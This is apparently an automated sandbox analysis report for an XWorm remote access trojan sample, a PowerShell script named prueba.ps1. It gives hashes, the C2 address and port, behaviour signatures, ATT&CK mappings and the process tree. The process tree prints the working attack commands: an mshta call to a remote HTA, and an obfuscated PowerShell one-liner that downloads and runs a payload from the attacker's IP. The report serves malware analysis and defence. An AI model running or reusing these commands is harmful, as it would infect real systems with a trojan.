xworm | fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133

General

Target

prueba.ps1
Size

124B
MD5

6542fcabb69f2e45e5abb6ef369d6b4b
SHA1

a9e758873a6c57d87b7e3bf02cfc04be6959d59b
SHA256

fd4dd13239fcd0e3171711951768b399b1b2210af3e6b4f7cc1c0a594bff7133
SHA512

6f9a75d4e17909c0dea87683bec1286964b8b21db927650c72db8b33df37b07a16b84bd56db42a5055e20c1895821b541467812dc03d5cefb4a144cebb2afb26

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.147.124.40/Capcha.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.147.124.40/x/8.png

Extracted

Family

xworm

C2

185.147.124.40:4404

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2880-34-0x0000000000400000-0x0000000000414000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
1	1204	mshta.exe
3	2780	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2780 set thread context of 2880	2780	powershell.exe	82

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4968	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1784	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4968	powershell.exe
4968	powershell.exe
2780	powershell.exe
2780	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeDebugPrivilege	2880	RegSvcs.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4968 wrote to memory of 1204	4968	powershell.exe	78
PID 4968 wrote to memory of 1204	4968	powershell.exe	78
PID 1204 wrote to memory of 2780	1204	mshta.exe	79
PID 1204 wrote to memory of 2780	1204	mshta.exe	79
PID 2780 wrote to memory of 1784	2780	powershell.exe	81
PID 2780 wrote to memory of 1784	2780	powershell.exe	81
PID 2780 wrote to memory of 2880	2780	powershell.exe	82
PID 2780 wrote to memory of 2880	2780	powershell.exe	82
PID 2780 wrote to memory of 2880	2780	powershell.exe	82
PID 2780 wrote to memory of 2880	2780	powershell.exe	82
PID 2780 wrote to memory of 2880	2780	powershell.exe	82
PID 2780 wrote to memory of 2880	2780	powershell.exe	82
PID 2780 wrote to memory of 2880	2780	powershell.exe	82
PID 2780 wrote to memory of 2880	2780	powershell.exe	82

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\prueba.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4968
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://185.147.124.40/Capcha.html
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://185.147.124.40/x/8.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2780
  - - C:\Windows\system32\ipconfig.exe
      "C:\Windows\system32\ipconfig.exe" /flushdns
      4⤵
      Gathers network information
      PID:1784
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
437395ef86850fbff98c12dff89eb621

SHA1
9cec41e230fa9839de1e5c42b7dbc8b31df0d69c

SHA256
9c39f3e1ee674a289926fddddfc5549740c488686ec6513f53848a225c192ba6

SHA512
bc669893f5c97e80a62fc3d15383ed7c62ffc86bc986401735903019bb96a5f13e4d0f6356baa2021267503a4eb62681e58e28fcff435350e83aa425fa76cd64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
94cc8aa302136c58a17742da02e54c48

SHA1
06c269d1a0b648467cc627162d8c2a0727d94123

SHA256
8ff32c0be04cd2af2b9cd5ddb61d74c94af99a9ebad6a57b0e4f3f7896ef7225

SHA512
7d06f705121fcfc8e5d84ab3c7b5a23343e0f5731931a279c2794eefdbb32222f2f3c812767bd05c20dcc2251bb24713351f47865bd9c70e9cdbd600d79292de

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oa54w1wc.zqx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2780-35-0x0000029ED0690000-0x0000029ED06AE000-memory.dmp

Filesize
120KB

Download
memory/2780-33-0x0000029EB7FE0000-0x0000029EB7FE6000-memory.dmp

Filesize
24KB

Download
memory/2780-32-0x0000029ED0630000-0x0000029ED064A000-memory.dmp

Filesize
104KB

Download
memory/2780-31-0x0000029ED0650000-0x0000029ED0664000-memory.dmp

Filesize
80KB

Download
memory/2880-34-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/2880-37-0x0000000005580000-0x000000000561C000-memory.dmp

Filesize
624KB

Download
memory/2880-41-0x0000000006E40000-0x00000000073E6000-memory.dmp

Filesize
5.6MB

Download
memory/2880-40-0x00000000067F0000-0x0000000006882000-memory.dmp

Filesize
584KB

Download
memory/2880-39-0x0000000005F80000-0x0000000006082000-memory.dmp

Filesize
1.0MB

Download
memory/2880-38-0x0000000005C20000-0x0000000005C86000-memory.dmp

Filesize
408KB

Download
memory/4968-13-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download
memory/4968-2-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download
memory/4968-0-0x00007FFD6EF13000-0x00007FFD6EF15000-memory.dmp

Filesize
8KB

Download
memory/4968-1-0x000001AC26DC0000-0x000001AC26E42000-memory.dmp

Filesize
520KB

Download
memory/4968-11-0x000001AC26CE0000-0x000001AC26CF0000-memory.dmp

Filesize
64KB

Download
memory/4968-12-0x000001AC27060000-0x000001AC27162000-memory.dmp

Filesize
1.0MB

Download
memory/4968-15-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download
memory/4968-14-0x000001AC26F50000-0x000001AC26F72000-memory.dmp

Filesize
136KB

Download
memory/4968-19-0x00007FFD6EF10000-0x00007FFD6F9D2000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads